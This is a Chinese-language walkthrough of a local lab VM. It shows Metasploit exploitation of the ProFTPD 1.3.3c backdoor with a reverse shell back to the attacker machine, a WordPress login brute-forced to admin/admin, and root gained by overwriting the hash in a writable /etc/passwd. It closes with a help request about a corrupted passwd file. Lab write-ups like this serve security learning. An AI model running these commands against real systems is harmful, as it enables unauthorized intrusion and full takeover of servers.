信息收集:ip,端口,目录
使用netdiscover -r 192.168.235.0/24获取 ip:192.168.235.130
扫描端口:nmap -sV -p- 192.168.235.130
目录扫描:dirb http://192.168.235.130/
收集到的信息:
- ip:192.168.235.130
- 端口:
PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.3c 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) MAC Address: 00:0C:29:35:37:A3 (VMware)方式一:
从端口信息看到有一个 ftp 的软件,搜索一下是否有可用内容,发现有两个可用。
看一下这两个文件,先searchsploit -p 16921看一下完整路径:
然后访问一下cat /usr/share/exploitdb/exploits/linux/remote/16921.rb
看到开头说 metasploit,那就进去看一下。msfconsole 启动,并search ProFTPD 1.3.3c搜索一下:
看到有一个可用,use 0使用,show options看一下需要设置哪些信息:
set rhost 192.168.235.130设置一下目标 ip,也就是靶场 ip
set payload cmd/unix/reverse设置一下 payload。设置这个命令后,如果利用该漏洞(ProFTPD 1.3.3c 后门)攻击成功,目标 Linux 服务器就会主动反向连接回到你的攻击机,从而让你获得一个目标服务器的命令行控制权限(Shell)。
set lhost 192.168.235.128设置一下攻击者 ip,也就是 kali linux 的 ip
直接run -j
发现有 session 1。进入后id一下,是 root
方式二
从开始得到 ip 和端口开始,直接访问一下 192.168.235.130,网页是这个样子:
在目录扫描中,依次打开,发现有两个网页,一个前台,一个后台:
可以看出是使用 wordpress 搭建的博客系统,wordpress 搭建的 admin 系统有默认的一些密码。
使用弱口令爆破一下或者添加字典文件,使用 bp 的 intruder 模块的单参数爆破密码。最终获取到密码也为 admin,登录进去:
登陆 msfconsole 后,执行search wordpress type:exploit -s date查看是否有可以利用的漏洞:
可以看到,大都是利用 wp_xxx 的格式,也就是 wp 的漏洞根据不同的模块进行划分,这里使用 43,use 43,并show options看一下需要设置哪些:
set rhosts 192.168.235.130
看到还需设置一个 targeturi,因为访问的网站并不直接是根目录,中间还有个 secret:
所以需要加上,set targeturi /secret
设置用户名set username admin
设置密码set password admin
然后便可直接run -j以及进入sessions 1
shell 进入后发现不是 root,虽然进去后台了,但是还是需要提权。
passwd 文件中保存的是用户名,密码,以及可执行的 bin。
查看ls -la /etc/passwd,发现 passwd 文件是可以编辑的:
cat /etc/passwd
看到里面的内容是开头后面都跟个 x,比如root:x:...
x 意味着密码是记录在 /etc/shadow 中的,ls -la /etc/shadow但是查看发现 shadow 文件只可读,无法编辑。
还是使用vi /etc/passwd对 passwd 进行编辑,但是进去后不好操作。
在修改密码前,需要先生成一个密码,密码就是 admin:
openssl passwd -1 admin会生成一个 md5 格式的密码哈希
退出,下载靶机的 /etc/passwd 文件到本地:download /etc/passwd ./passwd
编辑本地 passwd 文件,在开头 root 处,把 x 修改为前面生成的一长串哈希密码:
然后将修改后的 passwd 文件上传回靶机:
upload ./passwd /etc/passwd
最后便可切换到 root 用户:
shell python -c 'import pty; pty.spawn("/bin/bash")' su root输入密码 admin,成功结束!
另外,在最后一步中,meterpreter > edit /etc/passwd使用 edit 时,出现的是空文件,
然后回去 shell 后啥也运行不了了,
虚拟机重启也一直紫屏。
esc 查看显示最后一行内容。
只能把虚拟机删除重新导入才恢复,网上也没搜到出现过相关问题,deepseek 给的答案只说使用 edit 打开 passwd 文件时,自动将远程靶机的 passwd 文件也修改为空了。跪求大佬看看问题在哪!